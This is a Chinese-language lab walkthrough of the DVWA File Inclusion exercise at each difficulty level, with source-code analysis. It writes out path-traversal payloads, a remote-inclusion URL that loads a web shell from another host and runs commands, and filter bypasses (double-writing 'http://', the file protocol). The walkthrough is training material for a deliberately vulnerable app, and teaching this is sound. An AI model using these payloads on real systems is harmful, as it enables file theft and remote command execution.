【DVWA】File Inclusion

【DVWA】File Inclusion

一、low级别

1、测试流程

(1)local

image-20210301193416004

发现文件名是通过url传递的

于是尝试更改page参数内容

替换为:..\..\..\..\..\..\..\..\password.txt

image-20210301193704025

如图所示,成功爆出根目录下password.txt文件下的内容,此为本地文件包含。

(2)remote

搭建一个站点,写入一个木马文件

image-20210301194611587

将page参数内容替换为木马文件的url地址

加上参数x,传入cmd命令:

http://10.245.3.237/dvwa/vulnerabilities/fi/?page=http://10.245.3.237/shell/remote_file.txt&x=ipconfig

image-20210301195101140

如图所示,成功执行!

2、源码分析

<?php

// The page we wish to display
$file = $_GET[ 'page' ];  

?> 

如上述代码所示,后端没有对传入的文件命名做任何的检测和过滤。

用户在点击那三个链接时,会自动给page参数传值,然后使用get请求去请求服务器,服务器返回相应的结果,但是用户可以控制page参数的值,从而包含本地或远程文件。

由于文件会被包含在php文件中,所以不管被包含的文件类型是不是php,都会被当作php代码尝试去执行,如果文件的确为php,则会正常执行并返回结果,如果不是,则会原封不动的打印文件内容。所以文件包含漏洞往往会导致任意文件读取任意命令执行

二、medium级别

1、测试流程

(1)local

更改page参数内容

..\..\..\..\..\..\..\..\..\password.txt

image-20210301204338674

如图所示,本地文件包含成功!

(2)remote

尝试远程包含木马文件

http://10.245.3.237/dvwa/vulnerabilities/fi/?page=http://10.245.3.237/shell/remote_file.txt&x=ipconfig

image-20210301204901002

如图所示,出现报错。

猜测是过滤了http://

于是使用拼凑法尝试绕过:

http://10.245.3.237/dvwa/vulnerabilities/fi/?page=htthttp://p://10.245.3.237/shell/remote_file.txt&x=ipconfig

image-20210301205540392

如图所示,执行成功!

2、源码分析

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

上述代码使用str_replace()函数对http://,https://../以及..\进行了替换,但str_replace()函数是极不安全的,可以通过双写绕过,而本地文件包含也可使用绝对路径绕过。

三、high级别

1、测试流程

使用一般的本地包含和远程包含payload均失败

尝试使用file协议:

image-20210301224251737

如图所示,成功包含文件!

2、源码分析

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    
    
    //过滤要求page参数必须以file开头,或为include.php,这里可以用file协议绕过
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

fnmatch(pattern,string,flags)函数:pattern为检索的模式(可用通配符),string为规定要检查的字符串或文件。flags可选。

四、impossible级别

源码分析:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    
    
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

上述代码使用白名单过滤策略,很难绕过。

猜你喜欢

转载自blog.csdn.net/qq_43665434/article/details/114273780